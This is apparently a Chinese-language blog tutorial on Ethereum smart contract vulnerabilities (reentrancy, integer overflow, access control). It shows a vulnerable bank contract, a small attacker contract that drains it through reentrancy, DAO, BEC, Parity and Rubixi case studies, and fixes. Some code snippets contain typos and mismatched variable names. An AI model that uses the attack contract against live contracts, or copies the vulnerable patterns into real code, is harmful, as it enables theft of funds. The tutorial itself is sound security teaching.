这篇讲述重入漏洞、整数溢出漏洞、访问控制

DASP Top 10,有个博主把这10类漏洞都大概描述了一下,写得真的是非常好,

repo大法!以太坊智能合约安全入门了解一下(上) 以太坊智能合约安全入门了解一下(下)

但是这篇文章还是偏向于代码向和实际用例,看心情翻牌讲

  1. Reentrancy - 重入

  2. Access Control - 访问控制

  3. Arithmetic Issues - 算术问题(整数溢出)

  4. Unchecked Return Values For Low Level Calls - 未严格判断不安全函数调用返回值

  5. Denial of Service - 拒绝服务

  6. Bad Randomness - 伪随机性

  7. Front Running - 提前交易

  8. Time manipulation - 时间操纵

  9. Short Address Attack - 短地址攻击

  10. Unknown Unknowns - 其他未知

重入攻击

solidity一大特性是可以调用外部其他合约,但在将eth发送给外部地址或者调用外部合约的时候, 需要合约提交外部调用。如果外部地址是恶意合约,攻击者可以在Fallback函数中加入恶意代码,当发生转账的时候,就会调用Fallback函数执行恶意代码,恶意代码会执行调用合约的有漏洞函数,导致转账重新提交。最严重的重入攻击发生在以太坊早期,即知名的DAO漏洞。

基本原理

其实很简单,也有很多文章分析过了,比如这里是一个bank系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract BANK {
mapping(address => uint256) public userBalances;
//存钱
function deposit() public payable {
userBalances[msg.sender] += msg.value;
}
//取钱
function withdraw (uint256 _money) public {
require(userBalances[msg.sender] >= _money);
require(msg.sender.call.value(_money)());
userBalances[msg.sender] -= _money;
}
//查看余额
function check(address _addr) returns (uint) {
return userBalances[_addr];
}
}

现在我是一个黑心黑心的存款人,我创造了一个邪恶的contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract DemonMonkey {
uint attackVec;
BANK bank;
constructor(address _addr){
bank = BANK(_addr);
attackVec = 2;
}

function deposit(){
bank.depost.value(10 ether)();
}

function() payable {
while(attackVec > 0){
attackVec --;
bank.withdraw(10 ether);
}
}

function startAttack(){
bank.withdraw(10 ether);
}

}

关键在于,取钱函数,第4行和第5行本来应该一起做完的,但是我的DemonMonkey合约fallback函数,中断了这两步骤的连续性;

1
2
3
4
5
6
//取钱
function withdraw (uint256 _money) public {
require(userBalances[msg.sender] >= _money);
require(msg.sender.call.value(_money)());
userBalances[msg.sender] -= _weiToWithdraw;
}

整个调用过程,可以看见我10eth换了30eth,有点划得来啊;(ps:因为下溢出我也成了暴发户;失败 != 真失败)

调用过程图例

重入解决办法

对于代码层次主要有三种解决方法

  1. 使用transfer()、send(),他们默认只能消耗2300gas,无法支付调用函数的费用,无法重入,不过这个时候又碰见一个非常有意思的重入合约以太坊EIP-1283 sstore 重入漏洞,大佬们真的太牛逼了

  2. 先扣钱,再发钱;也就是注意执行顺序逻辑

  3. 引入互斥锁

1
2
3
4
5
6
7
8
9
10
bool reEntrancyMutex = false;
//取钱
function withdraw (uint256 js_money) public {
require(userBalances[msg.sender] >= _money);
require(!reEntrancyMutex);
reEntrancyMutex = true;
require(msg.sender.call.value(_money)());
userBalances[msg.sender] -= _weiToWithdraw;
reEntrancyMutex = false;
}

重入攻击实例

著名的DAO攻击事件

DAO真的非常多人分析过了,我觉得写得特别好的一篇:区块链安全—THE DAO攻击事件源码分析,推荐大家多看看

什么是DAO?
DAO 的全称是 Decentralized Autonomous Organization (去中心化的自治组织),可理解为完全由计算机代码控制运作的类似公司的实体。 the DAO 本质上是一个风险投资基金,通过以太坊将筹集到的资金锁定在智能合约中,每个参与众筹的人按照出资数额,获得相应的DAO代币(token),具有审查项目和投票表决的权利。投资议案由全体代币持有人投票表决,每个代币一票。如果议案得到需要的票数支持,相应的款项会划给该投资项目。投资项目的收益会按照一定规则回馈众筹参与人。

The DAO 是区块链智能合约平台上一场伟大的实验,在2016年4月对外募资,27日内募集了1200万个以太币,价值1.32亿美元,是以太坊史上最大的一次众筹活动。尽管 the DAO 项目最终因递归调用BUG被黑客攻击利用而黯然落幕,但其中的思想仍值得我们学习。

[转]DAO漏洞代码分析

这是另一篇分析的比较好的文章,转载到这里:分布式自治组织-the-dao-代码解析

首先,DAO为什么会有这个漏洞,因为在大家投票的时候,用户有权不参与这个基金并且有退出的权利,分裂的方法也比较简单,就是创建一个分裂的DAO,然后想分裂出去的用户需要对这个提议投赞成票,然后在辩论期过后调用splitDAO函数。

DAO.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 本次分析的是1.0.1版本的代码,也就是产生递归调用BUG的那个版本,请勿在生产环境中使用相同的代码。
function splitDAO(
uint _proposalID, //提议id
address _newCurator // 新的服务提供商地址
) noEther onlyTokenholders returns (bool _success) {

...

// 该用户在分裂前应的收益仍会得到,这一句也是造成bug的关键代码;就是下面这两句代码位置写反了;同事withdrawRewardFor用了没有gas限制的call()函数转账
withdrawRewardFor(msg.sender); // be nice, and get his rewards
// 原Dao的总token发行数减少
totalSupply -= balances[msg.sender];

// 该用户在原 Dao 中的Token清零
// Token清零应该在转账之前就执行,不应该这样做。
balances[msg.sender] = 0;
paidOut[msg.sender] = 0;
return true;
}

看withdrawRewardFor函数

DAO.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function withdrawRewardFor(address _account) noEther internal returns (bool _success) {
if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account])
throw;

uint reward =
(balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

reward = rewardAccount.balance < reward ? rewardAccount.balance : reward;
// 从rewardAccount中转移以太到用户账户;
// withdrawRewrdFor 调用了 rewradAccunt的payOut函数来发送以太
if (!rewardAccount.payOut(_account, reward))
throw;
paidOut[_account] += reward;
return true;
}
ManagedAccount.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function payOut(address _recipient, uint _amount) returns (bool) {
if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner))
throw;

// 如果_recipient是一个合约账户,且定义了默认函数function () {}, 将会触发此函数
// 而且这一句没有限制gas数,进一步给了漏洞可乘之机
if (_recipient.call.value(_amount)()) {

PayOut(_recipient, _amount);
return true;
} else {
return false;
}
}

创建一个钱包合约,并设置它的默认函数功能为调用 Dao 合约的 splitDAO 函数若干次,
接着我们为这个钱包合约发起一个分裂 Dao 的提议,投票表决期过后,执行 splitDAO 。这时便会触发递归调用漏洞。
此时的函数栈看起来就是这个样子,主 Dao 中的资金便会被黑客偷走。

1
2
3
4
5
6
7
8
9
splitDao
withdrawRewardFor
payOut
recipient.call.value()()
splitDao
withdrawRewardFor
payOut
recipient.call.value()()
...递归下去
DAO攻击后续解决

由于这个攻击涉及的金额太大,因此,引发了以太坊历史上的著名硬分叉

参考文章,摘录整合部分如下

以太坊 DAO 攻击解决方案代码解析

以太坊分叉始末

the DAO攻击事件2周年祭

2016年4月30日,The DAO上线开始为期28天的全球众筹;

2016年5月10日,10天时间融得以太币的价值已达到3400万美元;

2016年5月15日,众筹金额超过1亿美元;

2016年5月28日,众筹结束,融得超过1150万个以太币,相当于超过1.5亿美元价值,成为全球历史上最大金额众筹项目。同日,The DAO开始在各大数字货币交易所进行开放交易;

2016年6月9日,以太坊开发人员Peter Vessenes指出The DAO存在递归调用漏洞,;

2016年6月14日,修复方案被提交,等到The DAO成员的审核;

2016年6月16日,递归调用问题再次被提及;

2016年6月17日,黑客发起针对The DAO智能合约多个漏洞的攻击,其中也包含了递归调用漏洞,并向一个匿名地址转移了3600w个以太币,几乎占据了The DAO众筹总量1150w的三分之一。受制于The DAO的28天锁定期原则,黑客需要等到7月14日才能对这部分资金进行转移。当天以太坊停止了对所有交易的验证,此行为被社区诟病为“中心化”干涉,违背区块链本意;同时以太币币价大跌,一举从145元人民币跌落至68元人民币。

2016年6月18日,开放交易验证后,社区号召大家通过发送大量垃圾交易阻塞交易验证的形式减缓黑客的继续偷盗;同时白帽通过使用与黑客同样的方法将剩余2/3未被盗取资金转移到安全账户;

2016年6月24日,以太坊社区提交了软分叉提案(软分叉版本Gethv1.4.8),希望通过阻止所有人从The DAO中提取资金,为找回被盗资金争取时间;方案发布后黑客攻击者暂停了攻击,宣布对不支持软分叉的矿工给与100万以太币和100比特币奖励。

2016年6月28日,Felix Lange指出软分叉提案存在DoS攻击风险,简单地说,每个以太坊上的交易,验证节点(矿工)都会检查是否与TheDAO智能合约及其子DAO的地址相关。如果是则拒绝这个交易,从而锁定TheDAO(包括黑客在内)的所有资金。这个逻辑实现本身并没有问题,但是却没有收取执行交易的手续费,这就像节假日高速免费一样,导致以太坊成为了DoS的攻击目标,攻击者可以零成本发起大量交易,导致以太坊网络瘫痪,由此各个节点回滚了软件版本,软分叉方案宣告失败。以太币币价从逐渐回升到的96元人民币再次下跌至76元,并进入下跌通道。

2016年6月30日,软分叉失败后只能进行硬分叉。以太坊创始人Vitalik Buterin提出硬分叉设想;

2016年7月15日,具体硬分叉方案公布,建立退币合约,但7月21日之后黑客将可以进一步通过分离创造子The DAO,造成所盗取资金不被退币合约影响。因此7月21日将成为硬分叉执行的最终期限。软件提供硬分叉开关,选择权则交给社区。支持分叉的矿工会在 X 区块到 X+9 区块出块时,在区块 extradata 字段中写入 0x64616f2d686172642d666f726b(“dao-hard-fork” 的十六进制数)。从分叉点开始,如果连续 10 个区块均有硬分叉投票,则表示硬分叉成功。程序预设在1920000个区块时进行切换

2016年7月20日晚,备受瞩目的以太坊区块链硬分叉已成功实施,BW.com成功挖得以太坊第192,000个区块,几秒钟过后,该矿池还挖到了新区块链的首个区块。也预示着由未知黑客持有的价值约4000万美元的以太币,已被转移到了一个新的地址( 这就是上述的退币合约0xbf4ed7b27f1d666546e30d74d50d173d20bca754),从而“夺回”黑客所控制的DAO合约的币。从而形成两条链,一条为原链(ETC),一条为新的分叉链(ETH),各自代表不同的社区共识以及价值观。

2016年7月21日,最终有大约450万以太币参与了投票,近90%表示同意硬分叉,硬分叉成功。

而今我们提到以太坊,一般都指ETH,同源不同命啊~不过今年ETC貌似在卯足了劲要干一票大的呢

SpankChain重入漏洞

看文!SpankChain重入漏洞分析

其实通篇看下来,也是等同于DAO的思路,但是捏,非常有意思的是,它之所以产生这个漏洞并不是因为使用了call这个危险函数,这里截取文中一段话来说明就可以了

LCOpenTimeout函数

于是攻击者可以通过自己部署的使用createChannel函数创建一个支付通道,在确认时间超出之后,使用自己部署的合约去调用支付通道的LCOpenTimeou函数,然后支付通道合约向恶意合约转账,触发恶意合约的fallback函数,接着又触发攻击者在恶意合约fallbck函数中调用的LCOpenTimeou函数,形成重入循环…

更新,经过PeckShield团队友情提醒,上述描述存在一处错误,向大家道歉!正确的结论如下:

尽管是在进行转账之后更新的状态,但是上面的代码要形成重入也又一定难度,看第一个红框中的代码,因为该函数里进行ETH转账不是使用的call.value,而是使用的transfer,使用transfer只能消耗2300 GAS,无法构成重入,这也是SpankChain与TheDAO不同的点。

再看第二个红框,其中调用了token的transfer函数,而token是攻击者可控的,调用token合约的transfer函数不会有2300 GAS限制!于是攻击者可以在自己部署的恶意token合约的transfer函数中调用支付通道合约的LCOpenTimeout函数,形成重入循环…

EIP-1283 sstore导致的重入问题

请观赏大佬的repo:https://paper.seebug.org/801/

还有这个大佬:https://www.jianshu.com/p/d543dab6267c

这个漏洞真的是在无中生有Orz,首先要了解EIP1283这个分叉是用来干嘛的:可以认为是对sstore收费的一个变更,相当于使得收费更合理,但是呢,因为变更SSTORE的收费机制,所以导致transfer突然可以作妖。

安全的合约会使用transfer进行转账,transfer转账最多消耗2300 gas,在EIP 1283生效之前对变量进行更改再重置至少需要15000 gas,而生效后只需要400 gas,2300 gas上限已经足够做一些事情了。

从DAO软分叉失败到EIP1283导致transfer产生漏洞来看,每一个变更都需要非常小心,稍有不慎就没有回头路了(手动狗头)。

整数溢出

首先,EVM所能支持的取值就是256位可以表达的范围;如果通过操作超出上限或者下限,就会导致结果不可控;溢出这个在以前的漏洞中也没有那么大的危害,主要是因为可修改;但是区块链上链了就动不了了,所以问题被放大了很多;其实原理真的太简单,不说了;

整数溢出实例

BEC 智能合约无限转币漏洞分析及预警

有问题的代码

先解释下这个合约,合约本意,给_receivers数组的每个账户转入_value的价值,先扣除cnt*_value的值,再逐一将_value打入_receivers数组的每个账户;但是这个函数偷懒了,没使用safemath的mul函数,事实上,还是比较容易忘使用的…毕竟一个顺手就。。。那么cnt=2,_value=2^255的情况下,而将cnt_value两者相乘,结果为2^256,刚好超过uint256的范围,溢出之后amount的结果为0,成功实现空手套白狼,完美。

感受下这个空手套狼,交易地址

input-data

解析后的input-data

总体来说大部分溢出攻击都是uint256上溢。

更多整数溢出实例

以太坊智能合约漏洞实战详解:整数溢出攻击:这篇主要介绍BEC、SMT、FNT的整数溢出漏洞

ERC20智能合约整数溢出系列漏洞披露:这篇牛逼了,介绍了好多个,就是可惜表格居然是图片,搞得我复现它们的时候还得先转文字获取地址。

整数溢出的解决办法

源码角度来说,可能还是需要自己做判断,或者使用安全库函数,SafeMath库我看还是蛮多人用的,但是还是要小心,可能一不小心就忘了,毕竟和我们平时写代码不太一样,可能一不留神就写了个+号,而不是安全的add函数。

比如Beauty Chain的合约代码中使用了SafeMath库,但是在一个*操作处没有使用SafeMath库中的mul方法进行限制导致了近60亿人民币的损失。具体出问题的代码片段如下:

有问题的代码

访问控制

Solidity 中除了常规的变量和函数可见性描述外,这里还需要特别提到的就是两种底层调用方式 calldelegatecall

  • call 的外部调用上下文是外部合约
  • delegatecall 的外部调用上下是调用合约上下文

简单的用图表示就是:

“call delegatecall”的区别

如果S通过合约A使用delegatecall调用了合约B中改变合约owner的函数,那合约A的主人就可以变成S了;基本原理就是这么简单;但是影响可是很大的。

其实delegatecall的话呢,还会引起很多问题,主要是在存储空间上,可能会产生冲突,不细说,可以看看DelegateCall

访问控制攻击实例

访问控制包括

  • 由于不当使用delegatecall导致的问题

  • 写错了构造函数,比如大小写没注意,单词拼错了等等,不过这些是低版本错误了,高版本直接使用constructor关键字了,具体漏洞看Rubixi

Access Control issues are common in all programs, not just smart contracts. In fact, it’s number 5 on the OWASP top 10. One usually accesses a contract’s functionality through its public or external functions. While insecure visibility settings give attackers straightforward ways to access a contract’s private values or logic, access control bypasses are sometimes more subtle. These vulnerabilities can occur when contracts use the deprecated tx.origin to validate callers, handle large authorization logic with lengthy require and make reckless use of delegatecall in proxy libraries or proxy contracts.

Loss: estimated at 150,000 ETH (~30M USD at the time)

转载自DASP TOP 10

Parity 第一次安全事件漏洞分析

详细分析

源码

以太坊安全之 Parity 第一次安全事件漏洞分析

具体来说,就是Parity多签是一个库合约,但是这个库合约没写好,有一个函数使用了delegatecall来调用代码: _walletLibrary.delegatecall(msg.data);,而Parity多签合约初始化的时候会调用initWallet函数,initWallet 函数可以改变合约的 owner。

连起来就是,攻击者通过控制msg.data使得它能以自己的身份调用到initWallet函数,从而改变合约所有者,以Owner身份转走合约里面的钱。

防范的话呢,就是对initWallet的初始化状态进行判断,如果已经初始化过了呢,就不能调用initWallet。

Parity 第二次安全事件漏洞分析

这个可以认为是拒绝服务,也可以认为是越权访问漏洞。这次直接玩崩了它

这次的问题就出现在黑客直接调用了库合约的初始化函数,由于库合约本质上也不过是另一个智能合约,这次攻击调用使用的就是库合约本身的上下文,对于调用者而言,这个库合约是未经初始化的,而黑客通过初始化参数把自己设置的成了 owner,接下来又作为 owner 调用了 kill 函数,抹除了库合约的所有代码,这样所有依赖这个库合约的用户多签合约就都无法执行,而合约中的代币全部被锁在合约内无法转移。

转载自:https://blog.csdn.net/xuguangyuansh/java/article/details/81070173

parity人间惨剧

http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/

Rubixi

ETH 圈的某家公司将公司名从 Dynamic Pyramid 改为了 Rubixi,但他们只修改了合约的名字而忘记修改构造函数的名字,结果就恰好发生了像本题所示的情况:所有人都能调用失控的构造函数!然后大家就开始了愉快的抢 owner 游戏 :)

转:https://xz.aliyun.com/t/2856

Rubxi地址:https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code